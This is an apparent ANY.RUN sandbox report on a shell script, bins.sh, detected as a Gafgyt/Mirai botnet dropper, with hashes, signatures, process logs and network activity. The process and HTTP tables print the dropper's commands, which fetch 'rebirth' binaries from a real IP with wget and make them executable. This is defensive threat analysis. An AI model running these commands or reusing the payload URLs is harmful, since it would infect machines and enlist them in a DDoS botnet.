Malware analysis bins.sh Malicious activity | ANY.RUN

Add for printing

File name:	bins.sh
Full analysis:	https://app.any.run/tasks/24b894f1-3c28-4358-9386-96fa901cfbb7
Verdict:	Malicious activity
Threats:	A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet. Gafgyt, also known as BASHLITE, is a botnet affecting Internet of Things (IoT) devices and Linux-based systems. The malware aims to compromise and gain control of these devices, often by exploiting weak or default passwords, as well as known vulnerabilities. Gafgyt has been around since 2014 and has evolved into multiple variants, each with its own set of features and capabilities, including the ability to launch distributed denial of service (DDoS) attacks. Mirai is a self-propagating malware that scans the internet for vulnerable IoT devices and infects them to create a botnet. Mirai variants utilize lists of common default credentials to gain access to devices. Mirai's primary use is for launching distributed denial-of-service (DDoS) attacks, but it has also been used for cryptocurrency mining. Malware Trends Tracker >>>
Analysis date:	December 14, 2024, 10:54:47
OS:	Ubuntu 22.04.2 LTS
Tags:	ddos gafgyt botnet mirai
Indicators:
MIME:	text/x-shellscript
File info:	Bourne-Again shell script, ASCII text executable
MD5:	EA40C6FC574CA6806883D693A8AFA0B8
SHA1:	FFA5C5E27F079DA0E2928B589CD629B24541E0F0
SHA256:	D2D1C037DD179C345F4077B9B7EA69ED3CB625EBE7BCDCAD6CE6A086E4719C95
SSDEEP:	48:vlgyFEGlg0/H+clg/ytpLlgIDCqJlHlLLlPl5aHtALlXl/lrlsIlgV7Mrc:vlgyFEGlg0f+clg/ytpLlgIDCQlHlLL6

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Add for printing

MALICIOUS
- GAFGYT has been detected (SURICATA)
  - rebirth.i686 (PID: 38777)
  - rebirth.x86 (PID: 38811)
- Connects to the CnC server
  - rebirth.i686 (PID: 38777)
  - rebirth.x86 (PID: 38811)
- MIRAI has been detected (SURICATA)
  - wget (PID: 38785)
  - rebirth.i686 (PID: 38777)
  - rebirth.x86 (PID: 38811)
SUSPICIOUS
- Modifies file or directory owner
  - sudo (PID: 38743)
- Contacting a server suspected of hosting an CnC
  - rebirth.i686 (PID: 38777)
  - rebirth.x86 (PID: 38811)
- Reads network configuration
  - bash (PID: 38747)
- Potential Corporate Privacy Violation
  - wget (PID: 38766)
  - wget (PID: 38760)
  - wget (PID: 38749)
  - wget (PID: 38771)
  - wget (PID: 38755)
  - wget (PID: 38797)
  - wget (PID: 38785)
  - wget (PID: 38779)
  - wget (PID: 38792)
  - wget (PID: 38807)
  - wget (PID: 38813)
  - wget (PID: 38802)
- Gets active network interfaces
  - bash (PID: 38747)
- Uses wget to download content
  - bash (PID: 38747)
- Executes commands using command-line interpreter
  - sudo (PID: 38746)
- Connects to unusual port
  - rebirth.i686 (PID: 38777)
  - rebirth.x86 (PID: 38811)
- Executes the "rm" command to delete files or directories
  - bash (PID: 38747)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

TRiD

.sh	\|	Linux/UNIX shell script (100)

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

275

Monitored processes

67

Malicious processes

12

Suspicious processes

1

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
38742	/bin/sh -c "sudo chown user /tmp/bins\.sh && chmod +x /tmp/bins\.sh && DISPLAY=:0 sudo -iu user /tmp/bins\.sh "	/usr/bin/dash	—	any-guest-agent
User: root Integrity Level: UNKNOWN Exit code: 0
38743	sudo chown user /tmp/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38744	chown user /tmp/bins.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
38745	chmod +x /tmp/bins.sh	/usr/bin/chmod	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38746	sudo -iu user /tmp/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38747	/bin/bash /tmp/bins.sh	/usr/bin/bash	—	sudo
User: user Integrity Level: UNKNOWN Exit code: 0
38748	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
38749	wget http://93.123.85.5/rebirth.arm4	/usr/bin/wget		bash
User: user Integrity Level: UNKNOWN Exit code: 0
38751	chmod +x rebirth.arm4	/usr/bin/chmod	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
38752	/bin/bash /tmp/bins.sh	/usr/bin/bash	—	bash
User: user Integrity Level: UNKNOWN Exit code: 32256

Add for printing

Executable files

0

Suspicious files

2

Text files

0

Unknown types

0

Dropped files

PID	Process	Filename		Type
38749	wget	/tmp/rebirth.arm4 (deleted)		o
		MD5:—	SHA256:—
38755	wget	/tmp/rebirth.arm4t (deleted)		o
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

14

TCP/UDP connections

24

DNS requests

11

Threats

39

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	204	91.189.91.48:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
38771	wget	GET	200	93.123.85.5:80	http://93.123.85.5/rebirth.i686	unknown	—	—	—
38749	wget	GET	200	93.123.85.5:80	http://93.123.85.5/rebirth.arm4	unknown	—	—	—
38755	wget	GET	200	93.123.85.5:80	http://93.123.85.5/rebirth.arm4t	unknown	—	—	—
38785	wget	GET	200	93.123.85.5:80	http://93.123.85.5/rebirth.mips	unknown	—	—	—
38779	wget	GET	200	93.123.85.5:80	http://93.123.85.5/rebirth.m68	unknown	—	—	—
38792	wget	GET	200	93.123.85.5:80	http://93.123.85.5/rebirth.mpsl	unknown	—	—	—
38802	wget	GET	200	93.123.85.5:80	http://93.123.85.5/rebirth.spc	unknown	—	—	—
38766	wget	GET	200	93.123.85.5:80	http://93.123.85.5/rebirth.arm6	unknown	—	—	—
38760	wget	GET	200	93.123.85.5:80	http://93.123.85.5/rebirth.arm5	unknown	—	—	—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
—	—	91.189.91.49:80	connectivity-check.ubuntu.com	Canonical Group Limited	US	whitelisted
—	—	91.189.91.48:80	connectivity-check.ubuntu.com	Canonical Group Limited	US	whitelisted
—	—	195.181.175.40:443	odrs.gnome.org	Datacamp Limited	DE	whitelisted
38749	wget	93.123.85.5:80	—	Vivacom	BG	unknown
512	snapd	185.125.188.59:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
512	snapd	185.125.188.54:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
38755	wget	93.123.85.5:80	—	Vivacom	BG	unknown
38760	wget	93.123.85.5:80	—	Vivacom	BG	unknown
38766	wget	93.123.85.5:80	—	Vivacom	BG	unknown

DNS requests

Domain	IP	Reputation
connectivity-check.ubuntu.com	91.189.91.48 185.125.190.17 91.189.91.96 91.189.91.49 91.189.91.98 185.125.190.48 185.125.190.97 91.189.91.97 185.125.190.49 185.125.190.96 185.125.190.18 185.125.190.98 2620:2d:4000:1::22 2620:2d:4000:1::2b 2620:2d:4000:1::23 2620:2d:4002:1::198 2001:67c:1562::23 2620:2d:4000:1::97 2620:2d:4002:1::197 2001:67c:1562::24 2620:2d:4000:1::96 2620:2d:4002:1::196 2620:2d:4000:1::2a 2620:2d:4000:1::98	whitelisted
google.com	142.250.184.206 2a00:1450:4001:829::200e	whitelisted
odrs.gnome.org	195.181.175.40 195.181.170.18 169.150.255.180 212.102.56.179 169.150.255.184 207.211.211.26 37.19.194.81 2a02:6ea0:c700::107 2a02:6ea0:c700::112 2a02:6ea0:c700::11 2a02:6ea0:c700::101 2a02:6ea0:c700::19 2a02:6ea0:c700::21 2a02:6ea0:c700::18	whitelisted
api.snapcraft.io	185.125.188.59 185.125.188.55 185.125.188.54 185.125.188.58 2620:2d:4000:1010::42 2620:2d:4000:1010::117 2620:2d:4000:1010::6d 2620:2d:4000:1010::2e6	whitelisted
50.100.168.192.in-addr.arpa	—	unknown

Threats

PID	Process	Class	Message
—	—	Potentially Bad Traffic	ET HUNTING Suspicious GET Request for .arm file File
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET HUNTING Suspicious GET Request for .arm file File
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET HUNTING Suspicious GET Request for .arm file File
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET HUNTING Suspicious GET Request for .i686 File
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Malware Command and Control Activity Detected	BOTNET [ANY.RUN] Gafgyt.DDoS Check-In (Linux Gen.Mirai)

10 ETPRO signatures available at the full report

Add for printing

No debug info

General Info

bins.sh

EA40C6FC574CA6806883D693A8AFA0B8

FFA5C5E27F079DA0E2928B589CD629B24541E0F0

D2D1C037DD179C345F4077B9B7EA69ED3CB625EBE7BCDCAD6CE6A086E4719C95

48:vlgyFEGlg0/H+clg/ytpLlgIDCqJlHlLLlPl5aHtALlXl/lrlsIlgV7Mrc:vlgyFEGlg0f+clg/ytpLlgIDCQlHlLL6

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

GAFGYT has been detected (SURICATA)

Connects to the CnC server

MIRAI has been detected (SURICATA)

SUSPICIOUS

Modifies file or directory owner

Contacting a server suspected of hosting an CnC

Reads network configuration

Potential Corporate Privacy Violation

Gets active network interfaces

Uses wget to download content

Executes commands using command-line interpreter

Connects to unusual port

Executes the "rm" command to delete files or directories

INFO

Malware configuration

Static information

TRiD

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings